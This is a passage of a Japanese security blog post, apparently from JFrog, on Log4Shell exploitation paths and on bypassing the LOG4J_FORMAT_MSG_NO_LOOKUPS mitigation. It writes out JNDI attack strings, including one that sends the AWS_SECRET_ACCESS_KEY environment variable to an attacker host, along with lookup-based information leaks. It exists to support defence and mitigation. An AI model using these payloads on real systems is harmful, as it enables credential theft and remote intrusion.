\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u81ea\u4f53\u306f\u307e\u3060\u6a5f\u80fd\u3057\u3066\u304a\u308a\u3001\u3055\u307e\u3056\u307e\u306a\u76ee\u7684\u306b\u6feb\u7528\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">\u524d\u8ff0\u306e\u3088\u3046\u306b\u3001<code>${jndi:<b>dns<\/b><span style=\"font-weight: 400\">:\/\/dnsserver.com\/somedomain}<\/span><\/code><\/span> \u306e\u3088\u3046\u306a\u6587\u5b57\u5217\u3092\u4f7f\u7528\u3059\u308b\u3068\u3001\u72a0\u7272\u8005\u304c dnsserver.com \u306b DNS \u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\uff08<strong>somedomain <\/strong>\u306e DNS \u30ec\u30b3\u30fc\u30c9\u306b\u3064\u3044\u3066\u306e\u30af\u30a8\u30ea\uff09\u3002\u3053\u308c\u306f\u3001\u8106\u5f31\u306a log4j \u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u691c\u51fa\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3067\u304d\u3001\u30c7\u30fc\u30bf\u3092\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d0\u30c3\u30af\u3057\u305f\u308a\u3001\u3042\u308b\u3044\u306f\u3001DDoS \u653b\u6483\u3068\u3057\u3066\u4f7f\u7528\u3067\u304d\u307e\u3059\uff08\u8106\u5f31\u306a\u30b5\u30fc\u30d3\u30b9\u3068\u4f75\u7528\u3057\u3066\uff09\u3002<\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">\u72a0\u7272\u8005\u306e\u30de\u30b7\u30f3\u306e\u6a5f\u5bc6\u60c5\u5831\u3092\u660e\u3089\u304b\u306b\u3059\u308b\u3044\u304f\u3064\u304b\u306e<a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/manual\/lookups.html\">\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u7f6e\u63db<\/a>\u304c\u3042\u308a\u307e\u3059\u3002\u6700\u3082\u9855\u8457\u306a\u306e\u306f\u3053\u306e\u3088\u3046\u306a\u653b\u6483\u6587\u5b57\u5217\u3067\u3059\u3002<\/span><span style=\"font-weight: 400\"><code>${jndi:ldap:\/\/${env:AWS_SECRET_ACCESS_KEY}.attacker-srv.com\/foo}<\/code> \u3053\u306e\u74b0\u5883\u5909\u6570 AWS_SECRET_ACCESS_KEY \u304c\u8106\u5f31\u306a log4j \u30d7\u30ed\u30bb\u30b9\u306b\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3055\u308c\u3066\u3044\u305f\u5834\u5408\u3001\u6a5f\u5bc6\u3067\u3042\u308b AWS \u30a2\u30af\u30bb\u30b9\u30ad\u30fc\u304c\u30ea\u30fc\u30af\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\uff08\u4efb\u610f\u306e\u30d7\u30ed\u30c8\u30b3\u30eb\u3067\u53ef\u80fd\uff09\u3002\u5f53\u7136\u306e\u3053\u3068\u306a\u304c\u3089\u3001\u653b\u6483\u6587\u5b57\u5217\u306f\u8106\u5f31\u306a log4j \u30d7\u30ed\u30bb\u30b9\u306b\u5b58\u5728\u3059\u308b\u4efb\u610f\u306e\u74b0\u5883\u5909\u6570\u5024\u3092\u30ea\u30fc\u30af\u3059\u308b\u3088\u3046\u306b\u5909\u66f4\u3067\u304d\u307e\u3059\u3002\u4ed6\u306e\u6ce8\u76ee\u3059\u3079\u304d\u60c5\u5831\u6f0f\u6d29\u306e\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\u3002<\/span>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><code>${main:x}<\/code> &#8211; \u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u5f15\u6570 #x \u306e\u5024\u3092\u30ea\u30fc\u30af\u3057\u307e\u3059\u3002\u3053\u306e\u5f15\u6570\u306b\u306f\u3001\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u3067\u6e21\u3055\u308c\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3084\u30a2\u30af\u30bb\u30b9\u30ad\u30fc\u306a\u3069\u306e\u6a5f\u5bc6\u30c7\u30fc\u30bf\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><code>${sys:propname}<\/code> &#8211; <a href=\"https:\/\/docs.oracle.com\/javase\/tutorial\/deployment\/doingMoreWithRIA\/properties.html\">Java \u30b7\u30b9\u30c6\u30e0\u30d7\u30ed\u30d1\u30c6\u30a3<\/a>\u306e\u5024\u3092\u30ea\u30fc\u30af\u3057\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001\u73fe\u5728\u306e\u30e6\u30fc\u30b6\u540d(<code>user.name<\/code>)\u3092\u30ea\u30fc\u30af\u3055\u305b\u308b\u306e\u306b\u5229\u7528\u3067\u304d\u307e\u3059\u3002<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-86073\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13164331\/image1-2.png\" alt=\"\" width=\"1296\" height=\"340\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13164331\/image1-2.png?speedsize=w_1296 1296w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13164331\/image1-2.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13164331\/image1-2.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13164331\/image1-2.png?speedsize=w_768 768w\" sizes=\"(max-width: 1296px) 100vw, 1296px\" \/><\/p>\n<h4><span style=\"font-weight: 400\">\u65b9\u6cd5\uff12\uff1a\u4ed6\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u306e\u60aa\u7528<\/span><\/h4>\n<p><span style=\"font-weight: 400\"><a href=\"https:\/\/www.veracode.com\/blog\/research\/exploiting-jndi-injections-java\">\u3053\u306e Veracode\u793e\u306e\u30d6\u30ed\u30b0<\/a>\u3067\u7db2\u7f85\u7684\u306b\u8aac\u660e\u3055\u308c\u3066\u3044\u308b\u3088\u3046\u306b\u3001\u30ea\u30e2\u30fc\u30c8\u9006\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u304c\u7121\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u65b0\u3057\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u306e Java \u3067\u3042\u3063\u3066\u3082\u3001JNDI\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3092\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3059\u308b\u65b9\u6cd5\u304c\u3042\u308a\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u4f8b\u3048\u3070\u3001<code>org.apache.naming.factory.BeanFactory<\/code>\u30af\u30e9\u30b9\uff08\u901a\u5e38\u3001<a href=\"https:\/\/tomcat.apache.org\/\">Apache Tomcat<\/a> \u30b5\u30fc\u30d0\u306b\u540c\u68b1\u3055\u308c\u3066\u3044\u308b\uff09\u304c\u3001Log4j \u3092\u4f7f\u7528\u3059\u308b\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u3067\u5229\u7528\u53ef\u80fd\u306a\u5834\u5408\u3001\u57fa\u76e4\u3068\u306a\u308b JRE\/JDK \u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u95a2\u4fc2\u306a\u304fLog4Shell \u8106\u5f31\u6027\u3092\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3057\u3066\u30ea\u30e2\u30fc\u30c8 \u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u3053\u308c\u306f\u3001\u3088\u308a\u65b0\u3057\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u306e Java \u304c\u30ea\u30e2\u30fc\u30c8\u306e\u4efb\u610f\u306e\u30af\u30e9\u30b9\u3092\u9006\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3057\u306a\u3044\u3068\u3057\u3066\u3082\u3001\u653b\u6483\u8005\u306f\u4f9b\u7d66\u3055\u308c\u305f JNDI \u30ea\u30d5\u30a1\u30ec\u30f3\u30b9\u3092\u901a\u3058\u3066\u3001\u30d5\u30a1\u30af\u30c8\u30ea \u30af\u30e9\u30b9\u3068\u305d\u306e\u5c5e\u6027\u3092\u5236\u5fa1\u3067\u304d\u308b\u3068\u3044\u3046\u4e8b\u5b9f\u306b\u3088\u308b\u3082\u306e\u3067\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\"><img decoding=\"async\" class=\"alignnone size-full wp-image-86009\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022327\/image1-1.png\" alt=\"\" width=\"914\" height=\"36\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022327\/image1-1.png?speedsize=w_914 914w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022327\/image1-1.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022327\/image1-1.png?speedsize=w_768 768w\" sizes=\"(max-width: 914px) 100vw, 914px\" \/>\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u306f\u3001\u4efb\u610f\u306e\u30d5\u30a1\u30af\u30c8\u30ea \u30af\u30e9\u30b9\u3092\u63d0\u4f9b\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u304c\u3001\u8106\u5f31\u306a\u30d7\u30ed\u30b0\u30e9\u30e0\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u306b\u3042\u308b\u4efb\u610f\u306e\u30d5\u30a1\u30af\u30c8\u30ea \u30af\u30e9\u30b9\u3092\u30ac\u30b8\u30a7\u30c3\u30c8\u3068\u3057\u3066\u518d\u5229\u7528\u3067\u304d\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u4f7f\u7528\u53ef\u80fd\u306a\u30d5\u30a1\u30af\u30c8\u30ea \u30af\u30e9\u30b9\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u7279\u6027\u3092\u6301\u3063\u3066\u3044\u307e\u3059\u3002\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">\u8106\u5f31\u306a\u30d7\u30ed\u30b0\u30e9\u30e0\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u306b\u5b58\u5728\u3059\u308b<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">ObjectFactory \u30a4\u30f3\u30bf \u30d5\u30a7\u30fc\u30b9\u3092\u5b9f\u88c5\u3057\u3066\u3044\u308b<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><code>getObjectInstance<\/code> \u30e1\u30bd\u30c3\u30c9\u3092\u5b9f\u88c5\u3057\u3066\u3044\u308b<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><code>Reference<\/code> \u306e\u5c5e\u6027\u3067\u5371\u967a\u306a\u52d5\u4f5c\u3092\u884c\u3046<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">JFrog \u30ea\u30b5\u30fc\u30c1 \u30c1\u30fc\u30e0\u306f\u3001Reflection\u306e \u5371\u967a\u306a\u4f7f\u7528\u306b\u3088\u308a\u3001<code>BeanFactory<\/code> \u30af\u30e9\u30b9\u304c\u3053\u306e\u6761\u4ef6\u306b\u5f53\u3066\u306f\u307e\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u653b\u6483\u8005\u304c\u5236\u5fa1\u3067\u304d\u308b Reflection \u306e\u6587\u5b57\u5217\u5c5e\u6027\u306e\u307f\u306b\u57fa\u3065\u3044\u3066\u3001\u4efb\u610f\u306e Java \u30b3\u30fc\u30c9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u304c\u4f5c\u6210\u3055\u308c\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u3053\u306e\u30d6\u30ed\u30b0\u3067\u306f\u3001\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u306b <code>BeanFactory<\/code> \u30af\u30e9\u30b9\u304c\u5b58\u5728\u3059\u308b\u30de\u30b7\u30f3\u4e0a\u3067\u3001\u65b0\u3057\u3044 Java \u30d0\u30fc\u30b8\u30e7\u30f3\u306e Log4Shell \u3092\u60aa\u7528\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3067\u304d\u308b\u3001\u9069\u5207\u306a Reflection \u3092\u6301\u3064 RMI \u30b5\u30fc\u30d0\u3092\u30db\u30b9\u30c8\u3059\u308b\u305f\u3081\u306e\u5b8c\u5168\u306a\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30b3\u30fc\u30c9\u3092\u53c2\u7167\u3057\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u3053\u306e\u3088\u3046\u306a\u30b5\u30fc\u30d0\u3092\u4f7f\u7528\u3059\u308b\u5834\u5408\u306e Log4Shell \u653b\u6483\u6587\u5b57\u5217\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308b\u3053\u3068\u306b\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\"><code>${jndi:<b>rmi<\/b><span style=\"font-weight: 400\">:\/\/attacker-srv.com\/foo}<\/span><\/code><\/span><\/p>\n<p><span style=\"font-weight: 400\">\u305f\u3060\u3057\u3001\u63d0\u4f9b\u3055\u308c\u308b RMI \u30b5\u30fc\u30d0\u306f\u3001<strong>ldap <\/strong>\u307e\u305f\u306f <strong>ldaps <\/strong>\u30b5\u30fc\u30d0\u306b\u5909\u66f4\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u3001\u305d\u306e\u5834\u5408\u3001\u653b\u6483\u6587\u5b57\u5217\u306f\u305d\u308c\u306b\u5fdc\u3058\u3066\u5909\u66f4\u3055\u308c\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u4eca\u5f8c\u3001<code>BeanFactory<\/code> \u30af\u30e9\u30b9\u306e\u3088\u3046\u306a\u4ed6\u306e &#8220;\u30d5\u30a1\u30af\u30c8\u30ea \u30ac\u30b8\u30a7\u30c3\u30c8&#8221; \u304c\u767a\u898b\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u305f\u3081\u3001Log4Shell \u306b\u5bfe\u3059\u308b\u552f\u4e00\u306e\u5bfe\u5fdc\u7b56\u3068\u3057\u3066\u65b0\u3057\u3044 Java \u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u983c\u308b\u3053\u3068\u3092\u305b\u305a\u3001Log4j \u306e\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u304a\u3088\u3073\uff0f\u307e\u305f\u306f JFrog \u304c\u63d0\u6848\u3059\u308b\u7de9\u548c\u7b56\u306e\u3044\u304f\u3064\u304b\u3092\u5b9f\u65bd\u3059\u308b\u3053\u3068\u3092\u5f37\u304f\u63a8\u5968\u3057\u307e\u3059\u3002<\/span><\/p>\n<h4><span style=\"font-weight: 400\">\u65b9\u6cd5\uff13\uff1a\u30ed\u30fc\u30ab\u30eb \u30ac\u30b8\u30a7\u30c3\u30c8 \u30af\u30e9\u30b9\u3092\u6301\u3064\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3055\u308c\u305f Java \u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u4f7f\u7528<\/span><\/h4>\n<p>\u524d\u8ff0\u306e\u3088\u3046\u306b\u3001\u7d20\u6734\u306a\u653b\u6483\u30d9\u30af\u30c8\u30eb\u306f\u3001Log4j2 \u3092\u4f7f\u7528\u3057\u305f\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u5bfe\u3057\u3066\u3001\uff08\u901a\u5e38\u306f\uff09LDAP \u7d4c\u7531\u3067\u30ea\u30e2\u30fc\u30c8\u306e\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3055\u308c\u305f\u30af\u30e9\u30b9\u3092\u53d6\u5f97\u3055\u305b\u3001\u30ed\u30fc\u30c9\u3092\u4ed5\u5411\u3051\u308b\u3082\u306e\u3067\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u30af\u30e9\u30b9\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u5b8c\u5168\u306b\u5236\u5fa1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3057\u304b\u3057\u3001LDAP\u306f\u3001<span style=\"font-weight: 400\"><code>javaSerializedData<\/code> <\/span>\u5c5e\u6027\u3092\u4f7f\u7528\u3057\u3066 LDAP \u30ea\u30af\u30a8\u30b9\u30c8\u81ea\u4f53\u3067\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3055\u308c\u305f Java \u30aa\u30d6\u30b8\u30a7\u30af\u30c8\uff08\u30af\u30e9\u30b9\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\uff09\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3082\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u3044\u307e\u3059\u3002<br \/>\n\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u9006\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u306f\u3001\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u30af\u30e9\u30b9\u304c\u73fe\u5728\u306e\u30af\u30e9\u30b9\u30d1\u30b9\uff08\u30af\u30e9\u30b9\u691c\u7d22\u6642\u306b\u53c2\u7167\u3055\u308c\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3084 JAR \u30d5\u30a1\u30a4\u30eb\u306e\u30ea\u30b9\u30c8\uff09\u306b\u5b58\u5728\u3059\u308b\u5834\u5408\u306b\u306e\u307f\u53ef\u80fd\u3067\u3059\u3002<br \/>\n\u91cd\u8981\u306a\u3053\u3068\u306f\u3001\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u9006\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3059\u308b\u5834\u5408\u306b\u306f<span style=\"font-weight: 400\"> <code>trustURLCodebase<\/code> \u306b\u3088\u308b<\/span>\u7de9\u548c\u7b56\u306f\u52b9\u679c\u304c\u306a\u3044\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002\u306a\u305c\u306a\u3089\u3001\u3053\u306e\u7de9\u548c\u7b56\u306f\u65b0\u3057\u3044\u30b3\u30fc\u30c9\u30d9\u30fc\u30b9\u306e\u30ed\u30fc\u30c9\u3092\u9632\u3050\u3060\u3051\u3060\u304b\u3089\u3067\u3059\u3002<\/p>\n<p>\u7279\u5b9a\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u304c\u9006\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3055\u308c\u308b\u3068\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u76f4\u7d50\u3059\u308b\u3053\u3068\u306f\u3088\u304f\u77e5\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u30d9\u30fc\u30b9\u3068\u306a\u308b\u30af\u30e9\u30b9\u306f\u3001\u4fd7\u306b\u300c\u30ac\u30b8\u30a7\u30c3\u30c8\u300d\u3068\u547c\u3070\u308c\u3066\u3044\u307e\u3059\u3002<br \/>\n\u4f8b\u3048\u3070\u3001<a href=\"https:\/\/github.com\/frohoff\/ysoserial\">ysoserial<\/a> proof-of-concept \u30c4\u30fc\u30eb\u306f\u3001\u3053\u308c\u3089\u306e\u3088\u304f\u77e5\u3089\u308c\u305f\u30ac\u30b8\u30a7\u30c3\u30c8\u306e\u3044\u304f\u3064\u304b\u3092\u96c6\u7d04\u3057\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u6301\u3064\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u751f\u6210\u3092\u884c\u3048\u307e\u3059\u3002<\/p>\n<p>\u3057\u305f\u304c\u3063\u3066\u3001\u7279\u5b9a\u306e\u300c\u30ac\u30b8\u30a7\u30c3\u30c8\u300d\u30af\u30e9\u30b9\u304c\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u306b\u5b58\u5728\u3059\u308b\u3053\u3068\u3092\u77e5\u3063\u3066\u3044\u308b\u653b\u6483\u8005\u306f\u3001\u305d\u306e\u3088\u3046\u306a\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u751f\u6210\u3057\u3066LDAP\u7d4c\u7531\u3067\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001<span style=\"font-weight: 400\"><code>javaSerializedData<\/code> <\/span>\u5c5e\u6027\u306b\u95a2\u4fc2\u306a\u304f\u9006\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3055\u308c\u305f\u3068\u304d\u306b\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u3055\u3089\u306b\u3001\u4e0a\u8ff0\u3057\u305f Log4Shell \u306e\u60c5\u5831\u6f0f\u6d29\u306e\u7279\u6027\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u3001\u6700\u521d\u306b\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304b\u3089\u7279\u5b9a\u306e\u30b7\u30b9\u30c6\u30e0 \u30d7\u30ed\u30d1\u30c6\u30a3\u3092\u7167\u4f1a\u3057\uff08\u518d\u5e30\u7684\u306a\u691c\u7d22\u3092\u4f7f\u7528\u3057\u3066\uff09\u3001\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u30ac\u30b8\u30a7\u30c3\u30c8 \u30af\u30e9\u30b9\u304c\u5b58\u5728\u3059\u308b\u304b\u3069\u3046\u304b\u3092\u5224\u65ad\u3057\u3001\u30ea\u30e2\u30fc\u30c8 \u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306b\u30bf\u30fc\u30b2\u30c3\u30c8\u56fa\u6709\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u69cb\u7bc9\u3059\u308b\u5b8c\u5168\u306b\u81ea\u52d5\u5316\u3055\u308c\u305f\u30c4\u30fc\u30eb\u3092\u69cb\u7bc9\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002<\/p>\n<p>\u4eca\u65e5\u307e\u3067\u3001\u3053\u306e\u3088\u3046\u306a\u30c4\u30fc\u30eb\u304c\u4e00\u822c\u306b\u516c\u958b\u3055\u308c\u305f\u308a\u3001\u4f7f\u7528\u3055\u308c\u305f\u308a\u3057\u3066\u3044\u308b\u5f62\u8de1\u306f\u3042\u308a\u307e\u305b\u3093\u304c\u3001\u6b8b\u5ff5\u306a\u304c\u3089\u3001\u3053\u306e\u60aa\u610f\u306e\u3042\u308b\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306f\u307e\u3060\u7d42\u308f\u3063\u3066\u3044\u306a\u3044\u3068\u8003\u3048\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>&nbsp;<\/p>\n<h4 id=\"appendix-c\" class=\"md-end-block md-heading md-focus\"><span class=\"md-plain md-expand\">\u4ed8\u9332C\uff1a<\/span><\/h4>\n<h3><span style=\"font-weight: 400\">CVE-2021-45046 \u3092\u5229\u7528\u3057\u305f\u3001<\/span><span class=\"md-pair-s\"><code>LOG4J_FORMAT_MSG_NO_LOOKUPS<\/code> <\/span><span style=\"font-weight: 400\">\u306b\u3088\u308b\u7de9\u548c\u7b56\u306e\u30d0\u30a4\u30d1\u30b9\u306b\u3064\u3044\u3066<\/span><\/h3>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u307e\u305a\u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u4e8b\u5b9f\u306f\u3001\u3053\u306e\u30d0\u30a4\u30d1\u30b9\u3092\u5b9f\u73fe\u3059\u308b\u305f\u3081\u306e\u524d\u63d0\u6761\u4ef6\u304c\u305d\u308d\u3046\u3053\u3068\u306f\u7a00\u306a\u305f\u3081\u3001\u5927\u591a\u6570\u306e\u30b1\u30fc\u30b9\u3067\u306f<span class=\"md-pair-s\"> <code>LOG4J_FORMAT_MSG_NO_LOOKUPS<\/code> <\/span>\u306e\u7de9\u548c\u7b56\u306f\u6709\u52b9\u3067\u3042\u308b\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">CVE-2021-45046 \u304c\u516c\u958b\u3055\u308c\u305f\u3053\u3068\u306b\u3088\u308a\u3001\u63d0\u6848\u3055\u308c\u3066\u3044\u308b\u7de9\u548c\u7b56\u306e\uff11\u3064\u3067\u3042\u308b\u300c\u30e1\u30c3\u30bb\u30fc\u30b8 \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u306e\u7121\u52b9\u5316\u300d\u304c\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u4ee5\u5916\u306e\u7279\u5b9a\u306e\u8a2d\u5b9a\u6642\u306b\u306f\u30d0\u30a4\u30d1\u30b9\u3067\u304d\u308b\u3053\u3068\u304c\u516c\u306b\u306a\u308a\u307e\u3057\u305f\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s\"><u><span class=\"md-plain\">\u7d50\u8ad6\u3068\u3057\u3066\u306f<\/span><\/u><\/span><span class=\"md-plain\">\u3001<span class=\"md-pair-s\"><strong>Log4j2 2.10.0 &#8211; 2.14.1 <\/strong><\/span>\u306b\u304a\u3044\u3066 CVE-2021-45046 \u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u53ef\u80fd\u3067\u3042\u308c\u3070\u3001\u74b0\u5883\u5909\u6570 <span class=\"md-pair-s\"><code>LOG4J_FORMAT_MSG_NO_LOOKUPS<\/code> <\/span>\u306b\u3088\u308b\u7de9\u548c\u7b56\u3068\u3001\u30b7\u30b9\u30c6\u30e0 \u30d7\u30ed\u30d1\u30c6\u30a3<span class=\"md-pair-s\"> <code>log4j2.noFormatMsgLookup<\/code> <\/span>\u306b\u3088\u308b\u7de9\u548c\u7b56\u306e\u4e21\u65b9\u304c\u653b\u6483\u8005\u306b\u3088\u3063\u3066\u30d0\u30a4\u30d1\u30b9\u53ef\u80fd\u3067\u3059\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u3067\u306f\u3001CVE-2021-45046 \u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u53ef\u80fd\u3068\u306a\u308b\u6761\u4ef6\u306f\u4f55\u3067\u3057\u3087\u3046\u304b\uff1f<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">(\u3053\u308c\u306f\u3001\u540c\u69d8\u306e\u6761\u4ef6\u4f8b\u3092\u5b9f\u88c5\u3057\u305f\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u30d7\u30ed\u30b8\u30a7\u30af\u30c8 <span class=\"md-meta-i-c md-link\"><a href=\"https:\/\/github.com\/christophetd\/log4shell-vulnerable-app\">log4shell-vulnerable-app<\/a> <\/span>\u306e\u529f\u7e3e\u306b\u3088\u308a\u307e\u3059)<\/span><\/p>\n<ol class=\"ol-list\">\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span 